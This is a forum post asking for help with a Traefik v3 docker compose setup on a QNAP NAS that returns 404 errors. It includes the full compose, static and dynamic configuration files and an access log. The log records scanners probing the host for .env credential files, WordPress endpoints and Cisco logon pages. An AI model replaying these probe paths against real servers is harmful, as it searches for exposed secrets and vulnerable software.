QNAP traefik V3 docker compose getting 404 error messages in access log. Cannot connect or route - firewall off

What version of Traefik are you using?

v3.0.0-beta5

Are you using docker swarm?

No, I am using docker compose

What version of docker are you running?

Docker version 20.10.22-qnap7, build 57ed8b8

What browser version are you using?

Firefox 121.0 (64-bit)

What version of QNAP OS are you running?

[~] # cat /etc/*release
NAME="QTS"
VERSION="5.1.4 (20231128)"
ID=qts
PRETTY_NAME="QTS 5.1.4 (20231128)"
VERSION_ID="5.1.4"

What are the results of a dig command on your domain name? (note domain name masked in result)

[~] # dig whoami.(my domain name).com

; <<>> DiG 9.10.1-P2 <<>> whoami.(my domain name).com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 48960
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
;; QUESTION SECTION:
;whoami.(my domain name).com. IN A

;; ANSWER SECTION:
whoami.(my domain name).com. 300 IN CNAME (my domain name).com.
(my domain name).com. 3600 IN A 162.245.135.24

;; Query time: 17 msec
;; SERVER: 127.0.1.1#53(127.0.1.1)
;; WHEN: Thu Jan 11 16:49:53 EST 2024
;; MSG SIZE rcvd: 84

[~] #

Here are the contents of the QNAP docker compose traefik.yml file:


secrets:
  cloudflare_api_key:
    file: '/share/docker/secrets/cloudflare_api_key.secret'
  cloudflare_api_email:
    file: '/share/docker/secrets/cloudflare_api_email.secret'
  cloudflare_domain1-dns_token:
    file: '/share/docker/secrets/cloudflare_domain1-dns_token.secret'
  htpasswd:
    file: '/share/docker/secrets/htpasswd.secret'  

services:
  traefik:
    container_name: traefik
    image: traefik:v3.0
    # image: traefik:saintmarcelin # v2.10 with security updates
    security_opt:
    - no-new-privileges:true
    restart: always
    networks:
      - external_edge # rename this to your custom docker network
    ports:
      - 80:80
      - 443:443
      - 8080:8080 # Dashboard port
    secrets:
      - cloudflare_api_email
      - cloudflare_domain1-dns_token
      - cloudflare_api_key
      - htpasswd
    env_file:
      - $docker_scripts/.vars_docker.env
    environment:
      - PUID=${var_usr}
      - PGID=${var_grp} 
      - TZ=America/New_York # change to your local timezone    
      - HTPASSWD_FILE=/run/secrets/htpasswd
      - CLOUDFLARE_EMAIL_FILE=/var/run/secrets/cloudflare_api_email
      - CLOUDFLARE_API_KEY_FILE=/run/secrets/cloudflare_api_key
      - CF_API_EMAIL_FILE=/run/secrets/cloudflare_api_email
      - CF_DNS_API_TOKEN_FILE=/run/secrets/cloudflare_domain1-dns-token
      - DOMAINNAME_CLOUD_SERVER
      - TRAEFIK_API_INSECURE=true
      - TRAEFIK_LOG_LEVEL=ERROR
    command:
      - '--configFile=/etc/traefik/static/traefik.yml'
    volumes:
      - /etc/timezone:/etc/timezone:ro                                                                      # Set the container timezone by sharing the read-only localtime
      - /var/run/docker.sock:/var/run/docker.sock:ro                                                        # Give access to the UNIX Docker
      - /$compose_appdata/traefik/certs:/etc/traefik/certs                                                  # Set the location where my ACME certificates are saved to
      - /$compose_appdata/traefik/logs/:/logs                                                               # Set the traefik main log directory
      - /$compose_appdata/traefik/dynamic:/etc/traefik/dynamic                                              # Set the dynamic configuration for the file provider
      - /$compose_appdata/traefik/static/traefik.yml:/etc/traefik/traefik.yml:ro                            # Set the static configuration
      - /$compose_appdata/traefik/:/etc/traefik/
    logging:
      driver: "json-file"
      options:
        max-size: "10m"
        max-file: "3"
        compress: "true"   
    labels:
      - 'traefik.enable=true'                                                                               # Enable Traefik reverse proxy for the Traefik dashboard.
      - 'traefik.docker.network=external_edge'                                                              
    ## 
    ## HTTP-to-HTTPS Redirect
      - "traefik.http.routers.http-catchall.entrypoints=http"
      - "traefik.http.routers.http-catchall.rule=HostRegexp(`{host:.+}`)"
      - "traefik.http.routers.http-catchall.middlewares=redirect-to-https"
      - "traefik.http.middlewares.redirect-to-https.redirectscheme.scheme=https"
    ## HTTP Routers
      - "traefik.http.routers.traefik.entrypoints=https"
      # - "traefik.http.routers.traefik.rule=Host(`traefik.(your domain name).com`) && (PathPrefix(`/api`) || PathPrefix(`/dashboard`))"
      - "traefik.http.routers.traefik.rule=Host(`traefik.(your domain name).com`)"   
      - "traefik.http.routers.traefik.tls=true" # Some people had 404s without this
      - "traefik.http.routers.traefik.tls.certresolver=dns-cloudflare" # Comment out this line after first run of traefik to force the use of wildcard certs
      - "traefik.http.routers.traefik.tls.domains[0].main=(your domain name).com"
      - "traefik.http.routers.traefik.tls.domains[0].sans=*.(your domain name).com"
    ## Traefik Local Router
      - "traefik.http.routers.traefik-local.entrypoints=https"
      - "traefik.http.routers.traefik-local.rule=Host(`traefik.local`)"
      - "traefik.http.routers.traefik-local.tls=true"
    ## Services - API
      - "traefik.http.routers.traefik.service=api@internal"
      - "traefik.http.routers.traefik-local.service=api@internal"
    ## Healthcheck/ping
      - "traefik.http.routers.ping.rule=Host(`traefik.(your domain name).com`) && Path(`/ping`)"
      - "traefik.http.routers.ping.tls=true"
      - "traefik.http.routers.ping.service=ping@internal"
    ## Middlewares
      # Middleware BasicAuth
      - "traefik.http.routers.traefik.middlewares=chain-basic-auth@file" # For Basic HTTP Authentication
      #- "traefik.http.routers.traefik-rtr.middlewares=chain-no-auth@file" # For No Authentication
      # - "traefik.http.routers.traefik.middlewares=chain-oauth@file" # For Google OAuth
      #- "traefik.http.routers.traefik.middlewares=chain-authelia@file" # For Authelia Authentication
  
  error-pages:
    image: ghcr.io/tarampampam/error-pages:2.26 # Using the latest tag is highly discouraged. Please, use tags in X.Y.Z format
    hostname: error-pages
    container_name: error-pages
    restart: unless-stopped
    networks:
      - external_edge # rename this to your custom docker network  
    env_file:
      - $docker_scripts/.vars_docker.env    
    environment:
      - TEMPLATE_NAME=matrix # set the error pages template
      - PUID=${var_usr}
      - PGID=${var_grp} 
      - TZ=America/New_York # change to your local timezone    
    logging:
      driver: "json-file"
      options:
        max-size: "10m"
        max-file: "3"
        compress: "true"     
    labels:
      - traefik.enable=true
      # use as "fallback" for any NON-registered services (with priority below normal)
      - traefik.http.routers.error-pages-router.rule=HostRegexp(`{host:.+}`)
      - traefik.http.routers.error-pages-router.priority=10
      # should say that all of your services work on https
      - traefik.http.routers.error-pages-router.entrypoints=http
      - traefik.http.routers.error-pages-router.middlewares=error-pages-middleware
      # "errors" middleware settings
      - traefik.http.middlewares.error-pages-middleware.errors.status=400-599
      - traefik.http.middlewares.error-pages-middleware.errors.service=error-pages-service
      - traefik.http.middlewares.error-pages-middleware.errors.query=/{status}.html
      # define service properties
      - traefik.http.services.error-pages-service.loadbalancer.server.port=8080
    depends_on:
      - traefik
  
networks:
  external_edge:
    external: true```

contents of static traefik.yml file:

  checkNewVersion: true
  sendAnonymousUsage: true

api:
  dashboard: true # Enable traefik ui
  insecure: true
  debug: true

serversTransport:
  insecureSkipVerify: true

entryPoints:
  # Not used in apps, but redirect everything from HTTP to HTTPS
  http:
    address: ":80"
    forwardedHeaders:
      trustedIPs: &trustedIps
       # Start of Clouflare public IP list for HTTP requests, remove this if you don't use it
       - "103.21.244.0/22"
       - "103.22.200.0/22"
       - "103.31.4.0/22"
       - "104.16.0.0/13"
       - "104.24.0.0/14"
       - "108.162.192.0/18"
       - "131.0.72.0/22"
       - "141.101.64.0/18"
       - "162.158.0.0/15"
       - "172.64.0.0/13"
       - "173.245.48.0/20"
       - "188.114.96.0/20"
       - "190.93.240.0/20"
       - "197.234.240.0/22"
       - "198.41.128.0/17"
       - "2400:cb00::/32"
       - "2606:4700::/32"
       - "2803:f800::/32"
       - "2405:b500::/32"
       - "2405:8100::/32"
       - "2a06:98c0::/29"
       - "2c0f:f248::/32"
       # End of Cloudlare public IP list
    http:
      redirections:
        entryPoint:
          to: https
          scheme: https

    http2:
      maxConcurrentStreams: 250    

  # HTTPS endpoint, with domain wildcard
  https:
    address: ":443"
    forwardedHeaders:
      # Reuse list of Cloudflare Trusted IP's above for HTTPS requests
      trustedIPs: *trustedIps
    http:
      tls:
        options: tls-opts@file
        # Generate a wildcard domain certificate
        certResolver: dns-cloudflare
        domains:
          - main: "(your domain name).com"
            sans:
              - "*.(your domain name).com"

    http2:
      maxConcurrentStreams: 250

  metrics:
    address: ":9090"
  ping:
    address: ":8082"             

providers:
  # File provider for connecting things that are outside of docker / defining middleware
  # Docker provider for connecting all apps that are inside of the docker network
  docker:
    endpoint: "unix:///var/run/docker.sock"
    watch: true
    network: "external_edge" # Add Your Docker Network Name Here
    # defaultRule: "Host(`{{ index .Labels \"com.docker.compose.service\"}}.(your domain name).com`)"            
    #swarmMode: false
    # swarmModeRefreshSeconds: 15s
    exposedByDefault: false
    # endpoint: "tcp://dockerrproxy:2375" # Uncomment if you are using docker socket proxy    
    # Default host rule to containername.domain.example
    # defaultRule: "Host(`{{ index .Labels \"com.docker.compose.service\"}}.home.redacted.net`)"
    # defaultRule: "(Host(`home.redacted.net`) && PathPrefix(`/{{ index .Labels \"com.docker.compose.service\"}}`))"
  file:
    directory: "/etc/traefik/dynamic"
    # directory: /etc/traefik/dynamic
    watch: true
  providersThrottleDuration: 2s   
  
ping:
  entryPoint: "ping"

log:
  level: DEBUG # INFO|DEBUG|ERROR
  filePath: "/etc/traefik/logs/traefik.log"
  format: common

accessLog:
  filePath: "etc/traefik/logs/access.log"
  bufferingSize: 100
  filters:
    statusCodes: 
     - "204-299"
     - "400-499"
     - "500-599"

metrics:
  prometheus:
    entryPoint: metrics
    addEntryPointsLabels: true
    addRoutersLabels: true
    addServicesLabels: true
    buckets:
      - 0.1
      - 0.3
      - 1.2
      - 5.0

# Use letsencrypt to generate ssl serficiates
certificatesResolvers:
  dns-cloudflare:
    acme:
      email: "(your email address).com"
      storage: "/etc/traefik/certs/acme.json"
      keyType: EC256
      # Alternative ACME Staging CA Server (not ratelimited like prod):
      # comment out caserver line when done testing, also clear out /etc/certs/acme.json
      caServer: "https://acme-staging-v02.api.letsencrypt.org/directory"
      dnsChallenge:
        provider: cloudflare
        delayBeforeCheck: "0"
        resolvers:
          - "1.0.0.1:53"
          - "8.8.8.8:53"
      tlsChallenge: {}   
      httpChallenge:
        entryPoint: http

contents of dynamic folder (middlewares.yml) file:

  middlewares:
    # A basic authentification middleware, to protect the Traefik dashboard to anyone except myself
    # Use with traefik.http.routers.myRouter.middlewares: "traefikAuth@file"      
    basic-auth:
      basicAuth:
        users: "(user):(password)"
        realm: "Traefik 2 Basic Auth"
    forward-auth:
      forwardAuth:
        address: "http://192.168.1.103:8080/authorize"
        trustForwardHeader: true
        authResponseHeaders:
          - X-FORWARDAUTH-NAME
          - X-FORWARDAUTH-SUB
          - X-FORWARDAUTH-EMAIL
    rate-limit:
      rateLimit:
        average: 100
        burst: 50
    https-redirectscheme:
      redirectScheme:
        scheme: https
        permanent: true
    # Use with traefik.http.routers.myRouter.middlewares: "middlewares-secure-headers@file"
    # Security headers    
    secure-headers:
      headers:
        accessControlAllowMethods:
          - GET
          - OPTIONS
          - PUT
        accessControlMaxAge: 100
        hostsProxyHeaders:
          - "X-Forwarded-Host"
        stsSeconds: 63072000
        stsIncludeSubdomains: true
        stsPreload: true
        forceSTSHeader: true
        #customFrameOptionsValue: "allow-from https:{{env "DOMAINNAME"}}" #CSP takes care of this but may be needed for organizr.
        contentTypeNosniff: true
        browserXssFilter: true
        # sslForceHost: true # add sslHost to all of the services
        # sslHost: "{{env "DOMAINNAME"}}"
        referrerPolicy: "same-origin"
        permissionsPolicy: "camera=(), microphone=(), geolocation=(), payment=(), usb=(), vr=()"
        customResponseHeaders:
          X-Robots-Tag: "none,noarchive,nosnippet,notranslate,noimageindex,"
          server: ""
          # https://community.traefik.io/t/how-to-make-websockets-work-with-traefik-2-0-setting-up-rancher/1732
          # X-Forwarded-Proto: "https"

    #      
    # Enables the GZIP compression (https://docs.traefik.io/middlewares/compress/)
    #   if the response body is larger than 1400 bytes
    #   if the Accept-Encoding request header contains gzip
    #   if the response is not already compressed (Content-Encoding is not set)
    # Use with traefik.http.routers.myRouter.middlewares: "gzip@file" 

    compress:
      compress: {}
  
    # https://stackoverflow.com/questions/49717670/how-to-config-upload-body-size-restriction-in-traefik
    buffering:
      buffering:
        maxResponseBodyBytes: 2000000
        maxRequestBodyBytes: 10485760  
        memRequestBodyBytes: 2097152  
        memResponseBodyBytes: 2097152
        retryExpression: "IsNetworkError() && Attempts() <= 2"
  
    ipallowlist: # Only Allow Local networks
      IPAllowList:
        sourceRange:
          # Docker Networks
          - 172.27.0.0/24 # docker_socket
          - 172.27.1.0/24 # external_edge
          - 172.27.2.0/24 # reverse_proxy
          # Local IP's
          - 127.0.0.1/32 # localhost
          - 192.168.1.0/16 # homelan subnet
          - 10.0.0.0/8 # worklan subnet 
    #
    # Serve the error pages when the status is included inside the following ranges
    # Use with traefik.http.routers.myRouter.middlewares: "error-pages@file"
    error-pages:
      errors:
        query: "error{status}/"
        service: error-pages
        status:
          - "400-499"
          - "500-599"
    oauth:
      forwardAuth:
        address: "http://oauth:4181" # Make sure you have the OAuth service in docker-compose.yml
        trustForwardHeader: true
        authResponseHeaders:
          - "X-Forwarded-User"

    traefik-bouncer:
      forwardAuth:
        address: "http://traefik-bouncer:8080/api/v1/forwardAuth" # Make sure you have the traefik-bouncer service in docker-compose.yml
        trustForwardHeader: true

    oauth-external:
      forwardAuth:
        address: "https://oauth.{{env `DOMAINNAME_CLOUD_SERVER`}}" # Make sure you have the OAuth service in a remote server
        trustForwardHeader: true
        authResponseHeaders:
          - "X-Forwarded-User"

    authelia:
      forwardAuth:
        address: "http://authelia:9091/api/verify?rd=https://authelia.{{env `DOMAINNAME_CLOUD_SERVER`}}"
        trustForwardHeader: true
        authResponseHeaders:
          - "Remote-User"
          - "Remote-Groups"

contents of dynamic folder (middlewares-chains.yml) file:

  middlewares:
    chain-no-auth:
      chain:
        middlewares:
          - rate-limit
          - https-redirect
          - secure-headers
          - compress
          - error-pages

    chain-no-auth-no-crowdsec:
      chain:
        middlewares:
          - rate-limit
          - https-redirect
          - secure-headers
          - compress
          - error-pages

    chain-basic-auth:
      chain:
        middlewares:
          - rate-limit
          - https-redirectscheme
          - secure-headers
          - basic-auth
          - compress
          - error-pages

    chain-local-no-auth:
      chain:
        middlewares:
          - rate-limit
          - https-redirectscheme
          - secure-headers
          - compress
          - ipallowlist
          - error-pages  

    chain-oauth:
      chain:
        middlewares:
          #- middlewares-traefik-bouncer # leave this out if you are not using CrowdSec        
          - rate-limit
          - https-redirectscheme
          - secure-headers
          - oauth
          - compress
          - error-pages   

    chain-oauth-no-crowdsec:
      chain:
        middlewares:
          - rate-limit
          - https-redirectscheme
          - secure-headers
          - oauth
          - compress
          - error-pages   

    chain-oauth-external:
      chain:
        middlewares:
          #- middlewares-traefik-bouncer # leave this out if you are not using CrowdSec
          - rate-limit
          - https-redirectscheme
          - secure-headers
          - oauth-external
          - compress
          - error-pages   

    chain-authelia:
      chain:
        middlewares:
          # - middlewares-traefik-bouncer # leave this out if you are not using CrowdSec
          - rate-limit
          - https-redirectscheme
          - secure-headers
          - authelia
          - compress
          - error-pages   

    chain-local-basic-auth:
      chain:
        middlewares:
          - rate-limit
          - https-redirectscheme
          - secure-headers
          - basic-auth
          - compress
          - ipallowlist
          - error-pages

contents of dynamic folder (tls.yml) file:

  options:
    tls-opts:
      minVersion: VersionTLS12
      sniStrict: true
      cipherSuites:
        # Recommended ciphers for TLSv1.2
        #    General-purpose servers with a variety of clients, it is recommended for almost all systems
        #    Supports Firefox 27, Android 4.4.2, Chrome 31, Edge, IE 11 on Windows 7, Java 8u31, OpenSSL 1.0.1, Opera 20, and Safari 9 
        - TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
        - TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
        - TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305
        # Recommended ciphers for TLSv1.3
        #    Services with clients that support TLS 1.3 and don't need backward compatibility
        #    Supports Firefox 63, Android 10.0, Chrome 70, Edge 75, Java 11, OpenSSL 1.1.1, Opera 57, and Safari 12.1
        - TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384
        - TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
        - TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305
    tlsv13:
       minVersion: "VersionTLS13"
       sniStrict: true
    weakciphers:
      minVersion: VersionTLS12
      sniStrict: true
    weaknosni:
      minVersion: VersionTLS11
      sniStrict: false

contents of dynamic folder (services.yml) file:

http:
  services:
    noop:
      loadBalancer:
        servers:
          - url: "http://192.168.1.103"

    rsnas:
      loadBalancer:
        servers:
          - url: "https://192.168.1.103:8443"

    # Error pages
    error-pages:
      loadBalancer:
        servers:
          - url: "https://www.usherbrooke.ca/error-pages/"

    # Service that will always answer a 503 Service Unavailable response
    unavailable:
      loadBalancer:
        servers: {}

contents of dynamic folder (router.yml) file:

  routers:
   http-catchall:
      entryPoints:
        - "http"
      rule: "HostRegexp(`{host:.+}`)"
      service: unavailable
      priority: 1 
      middlewares:
        - basic-auth@file
## Sometimes, the 404 response code doesn't play well with other parties or services (such as CDNs). In these situations, you may want Traefik to always reply with a 503 response code, instead of a 404 response code.
## To achieve this behavior, a simple catchall router, with the lowest possible priority and routing to a service without servers, can handle all the requests when no other router has been matched.  
   rsnas:
      entryPoints:
        - "https"
      rule: "Host(`rsnas.(my domain name).com`)"
      middlewares:
        - basic-auth@file
      service: rsnas   
      tls:
        domains:
          - "(my domain name).com"
          - "*.(my domain name).com"

Access log errors that i am receiving:

64.62.197.6 - - [11/Jan/2024:00:20:18 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 9945 "-" "-" 0ms
35.176.44.231 - - [11/Jan/2024:00:20:30 +0000] "GET /logon.htm HTTP/1.1" 404 19 "-" "-" 9946 "-" "-" 0ms
35.176.44.231 - - [11/Jan/2024:00:27:08 +0000] "GET /login.jsp HTTP/1.1" 404 19 "-" "-" 9949 "-" "-" 0ms
45.79.168.172 - - [11/Jan/2024:00:28:51 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 9950 "-" "-" 0ms
172.104.11.51 - - [11/Jan/2024:00:30:13 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 9951 "-" "-" 0ms
35.176.44.231 - - [11/Jan/2024:00:33:34 +0000] "GET /login.jsp HTTP/1.1" 404 19 "-" "-" 9952 "-" "-" 0ms
107.170.252.46 - - [11/Jan/2024:00:37:51 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 9953 "-" "-" 0ms
35.176.44.231 - - [11/Jan/2024:00:40:03 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 9954 "-" "-" 0ms
146.70.15.38 - - [11/Jan/2024:00:44:06 +0000] "GET /.env HTTP/1.1" 404 19 "-" "-" 9956 "-" "-" 0ms
198.235.24.17 - - [11/Jan/2024:00:48:59 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 9957 "-" "-" 0ms
35.176.44.231 - - [11/Jan/2024:00:50:40 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 9958 "-" "-" 0ms
35.178.155.15 - - [11/Jan/2024:01:33:45 +0000] "GET /favicon.ico HTTP/1.1" 404 19 "-" "-" 9959 "-" "-" 0ms
68.178.225.224 - - [11/Jan/2024:01:35:15 +0000] "GET /wp-content/themes/buddyboss-theme/style.css HTTP/2.0" 404 19 "-" "-" 9961 "-" "-" 0ms
35.178.155.15 - - [11/Jan/2024:01:38:45 +0000] "GET /favicon.ico HTTP/1.1" 404 19 "-" "-" 9962 "-" "-" 0ms
35.178.155.15 - - [11/Jan/2024:01:43:38 +0000] "GET /manage/account/login HTTP/1.1" 404 19 "-" "-" 9963 "-" "-" 0ms
184.168.116.210 - - [11/Jan/2024:01:43:43 +0000] "GET /wp-content/themes/buddyboss-theme/style.css HTTP/2.0" 404 19 "-" "-" 9965 "-" "-" 0ms
35.178.155.15 - - [11/Jan/2024:01:51:19 +0000] "GET /manage/account/login HTTP/1.1" 404 19 "-" "-" 9966 "-" "-" 0ms
45.79.163.53 - - [11/Jan/2024:01:55:36 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 9967 "-" "-" 0ms
138.246.253.24 - - [11/Jan/2024:01:56:21 +0000] "GET /robots.txt HTTP/1.1" 404 19 "-" "-" 9968 "-" "-" 0ms
122.201.124.71 - - [11/Jan/2024:01:56:49 +0000] "GET /wp-content/plugins/ai-engine/app/index.js HTTP/2.0" 404 19 "-" "-" 9970 "-" "-" 0ms
35.178.155.15 - - [11/Jan/2024:01:57:42 +0000] "GET /admin/index.html HTTP/1.1" 404 19 "-" "-" 9972 "-" "-" 0ms
199.45.154.18 - - [11/Jan/2024:01:58:35 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 9973 "-" "-" 0ms
199.45.154.18 - - [11/Jan/2024:01:58:38 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 9974 "-" "-" 0ms
35.178.155.15 - - [11/Jan/2024:02:04:51 +0000] "GET /admin/index.html HTTP/1.1" 404 19 "-" "-" 9975 "-" "-" 0ms
162.0.235.233 - - [11/Jan/2024:02:05:49 +0000] "GET /wp-content/plugins/ai-engine/app/index.js HTTP/2.0" 404 19 "-" "-" 9977 "-" "-" 0ms
162.0.215.190 - - [11/Jan/2024:02:09:44 +0000] "GET /wp-content/themes/buddyboss-theme/style.css HTTP/2.0" 404 19 "-" "-" 9979 "-" "-" 0ms
35.178.155.15 - - [11/Jan/2024:02:11:13 +0000] "GET /index.html HTTP/1.1" 404 19 "-" "-" 9980 "-" "-" 0ms
35.190.199.12 - - [11/Jan/2024:02:15:47 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 9981 "-" "-" 0ms
35.178.155.15 - - [11/Jan/2024:02:19:08 +0000] "GET /index.html HTTP/1.1" 404 19 "-" "-" 9982 "-" "-" 0ms
199.188.201.66 - - [11/Jan/2024:02:25:37 +0000] "GET /wp-content/themes/buddyboss-theme/style.css HTTP/2.0" 401 0 "-" "-" 9984 "radarr@docker" "http://172.27.1.10:7878" 2ms
35.178.155.15 - - [11/Jan/2024:02:29:48 +0000] "GET /+CSCOE+/logon.html HTTP/1.1" 404 19 "-" "-" 9985 "-" "-" 0ms
35.178.155.15 - - [11/Jan/2024:02:37:28 +0000] "GET /+CSCOE+/logon.html HTTP/1.1" 404 19 "-" "-" 9995 "-" "-" 0ms
192.241.235.31 - - [11/Jan/2024:02:42:21 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 9996 "-" "-" 0ms
35.178.155.15 - - [11/Jan/2024:02:44:15 +0000] "GET /cgi-bin/login.cgi HTTP/1.1" 404 19 "-" "-" 9997 "-" "-" 0ms
35.203.211.142 - - [11/Jan/2024:02:50:42 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 9998 "-" "-" 0ms
35.178.155.15 - - [11/Jan/2024:02:51:23 +0000] "GET /cgi-bin/login.cgi HTTP/1.1" 404 19 "-" "-" 9999 "-" "-" 0ms
20.79.216.153 - - [11/Jan/2024:02:52:19 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10000 "-" "-" 0ms
35.178.155.15 - - [11/Jan/2024:02:58:21 +0000] "GET /logon.htm HTTP/1.1" 404 19 "-" "-" 10003 "-" "-" 0ms
45.79.181.104 - - [11/Jan/2024:03:02:47 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10004 "-" "-" 0ms
35.178.155.15 - - [11/Jan/2024:03:05:51 +0000] "GET /logon.htm HTTP/1.1" 404 19 "-" "-" 10005 "-" "-" 0ms
184.168.96.201 - - [11/Jan/2024:03:07:31 +0000] "GET /wp-content/plugins/ai-engine/app/index.js HTTP/2.0" 404 19 "-" "-" 10007 "-" "-" 0ms
35.178.155.15 - - [11/Jan/2024:03:12:43 +0000] "GET /login.jsp HTTP/1.1" 404 19 "-" "-" 10008 "-" "-" 0ms
35.178.155.15 - - [11/Jan/2024:03:19:37 +0000] "GET /login.jsp HTTP/1.1" 404 19 "-" "-" 10009 "-" "-" 0ms
198.235.24.79 - - [11/Jan/2024:03:23:28 +0000] "GET / HTTP/1.0" 404 19 "-" "-" 10012 "-" "-" 0ms
35.178.155.15 - - [11/Jan/2024:03:26:57 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10014 "-" "-" 0ms
199.45.155.16 - - [11/Jan/2024:03:27:06 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10016 "-" "-" 0ms
51.68.11.211 - - [11/Jan/2024:03:36:21 +0000] "GET /wp-content/plugins/ai-engine/app/index.js HTTP/1.1" 404 19 "-" "-" 10018 "-" "-" 0ms
167.94.138.34 - - [11/Jan/2024:03:36:39 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10019 "-" "-" 0ms
167.94.138.34 - - [11/Jan/2024:03:36:42 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10020 "-" "-" 0ms
35.178.155.15 - - [11/Jan/2024:03:37:17 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10021 "-" "-" 0ms
165.227.31.198 - - [11/Jan/2024:03:43:05 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10023 "-" "-" 0ms
178.128.157.79 - - [11/Jan/2024:03:57:03 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10025 "-" "-" 0ms
38.242.228.160 - - [11/Jan/2024:04:26:33 +0000] "GET / HTTP/1.1" 404 19 "-" "-" 10028 "-" "-" 0ms
38.242.228.160 - - [11/Jan/2024:04:26:34 +0000] "GET //xmlrpc.php?rsd HTTP/1.1" 404 19 "-" "-" 10029 "-" "-" 0ms
38.242.228.160 - - [11/Jan/2024:04:26:34 +0000] "GET //blog/wp-includes/wlwmanifest.xml HTTP/1.1" 404 19 "-" "-" 10030 "-" "-" 0ms
38.242.228.160 - - [11/Jan/2024:04:26:35 +0000] "GET //wordpress/wp-includes/wlwmanifest.xml HTTP/1.1" 404 19 "-" "-" 10031 "-" "-" 0ms
38.242.228.160 - - [11/Jan/2024:04:26:36 +0000] "GET //wp/wp-includes/wlwmanifest.xml HTTP/1.1" 404 19 "-" "-" 10032 "-" "-" 0ms
38.242.228.160 - - [11/Jan/2024:04:26:36 +0000] "GET //2020/wp-includes/wlwmanifest.xml HTTP/1.1" 404 19 "-" "-" 10033 "-" "-" 0ms
38.242.228.160 - - [11/Jan/2024:04:26:37 +0000] "GET //shop/wp-includes/wlwmanifest.xml HTTP/1.1" 404 19 "-" "-" 10034 "-" "-" 0ms
38.242.228.160 - - [11/Jan/2024:04:26:37 +0000] "GET //test/wp-includes/wlwmanifest.xml HTTP/1.1" 404 19 "-" "-" 10035 "-" "-" 0ms
38.242.228.160 - - [11/Jan/2024:04:26:38 +0000] "GET //site/wp-includes/wlwmanifest.xml HTTP/1.1" 404 19 "-" "-" 10036 "-" "-" 0ms
38.242.228.160 - - [11/Jan/2024:04:26:39 +0000] "GET //sito/wp-includes/wlwmanifest.xml HTTP/1.1" 404 19 "-" "-" 10037 "-" "-" 0ms
20.245.50.82 - - [11/Jan/2024:04:59:12 +0000] "GET /.env HTTP/2.0" 404 19 "-" "-" 10040 "-" "-" 0ms
20.245.50.82 - - [11/Jan/2024:04:59:12 +0000] "POST / HTTP/2.0" 404 19 "-" "-" 10041 "-" "-" 0ms
20.245.50.82 - - [11/Jan/2024:04:59:12 +0000] "GET /public/.env HTTP/2.0" 404 19 "-" "-" 10043 "-" "-" 0ms
20.245.50.82 - - [11/Jan/2024:04:59:13 +0000] "GET /app/.env HTTP/2.0" 404 19 "-" "-" 10045 "-" "-" 0ms
20.245.50.82 - - [11/Jan/2024:04:59:14 +0000] "GET /core/.env HTTP/2.0" 404 19 "-" "-" 10047 "-" "-" 0ms
20.245.50.82 - - [11/Jan/2024:04:59:14 +0000] "GET /vendor/.env HTTP/2.0" 404 19 "-" "-" 10049 "-" "-" 0ms
20.245.50.82 - - [11/Jan/2024:04:59:15 +0000] "GET /lib/.env HTTP/2.0" 404 19 "-" "-" 10051 "-" "-" 0ms
20.245.50.82 - - [11/Jan/2024:04:59:15 +0000] "GET /lab/.env HTTP/2.0" 404 19 "-" "-" 10053 "-" "-" 0ms
20.245.50.82 - - [11/Jan/2024:04:59:16 +0000] "GET /cronlab/.env HTTP/2.0" 404 19 "-" "-" 10055 "-" "-" 0ms
20.245.50.82 - - [11/Jan/2024:04:59:16 +0000] "GET /cron/.env HTTP/2.0" 404 19 "-" "-" 10057 "-" "-" 0ms
20.245.50.82 - - [11/Jan/2024:04:59:17 +0000] "GET /core/app/.env HTTP/2.0" 404 19 "-" "-" 10059 "-" "-" 0ms
20.245.50.82 - - [11/Jan/2024:04:59:17 +0000] "GET /core/Database/.env HTTP/2.0" 404 19 "-" "-" 10061 "-" "-" 0ms
20.245.50.82 - - [11/Jan/2024:04:59:18 +0000] "GET /database/.env HTTP/2.0" 404 19 "-" "-" 10063 "-" "-" 0ms
20.245.50.82 - - [11/Jan/2024:04:59:18 +0000] "GET /config/.env HTTP/2.0" 404 19 "-" "-" 10065 "-" "-" 0ms
20.245.50.82 - - [11/Jan/2024:04:59:19 +0000] "GET /assets/.env HTTP/2.0" 404 19 "-" "-" 10067 "-" "-" 0ms
20.245.50.82 - - [11/Jan/2024:04:59:19 +0000] "GET /apps/.env HTTP/2.0" 404 19 "-" "-" 10069 "-" "-" 0ms
20.245.50.82 - - [11/Jan/2024:04:59:20 +0000] "GET /uploads/.env HTTP/2.0" 404 19 "-" "-" 10071 "-" "-" 0ms
20.245.50.82 - - [11/Jan/2024:04:59:20 +0000] "GET /sitemaps/.env HTTP/2.0" 404 19 "-" "-" 10073 "-" "-" 0ms
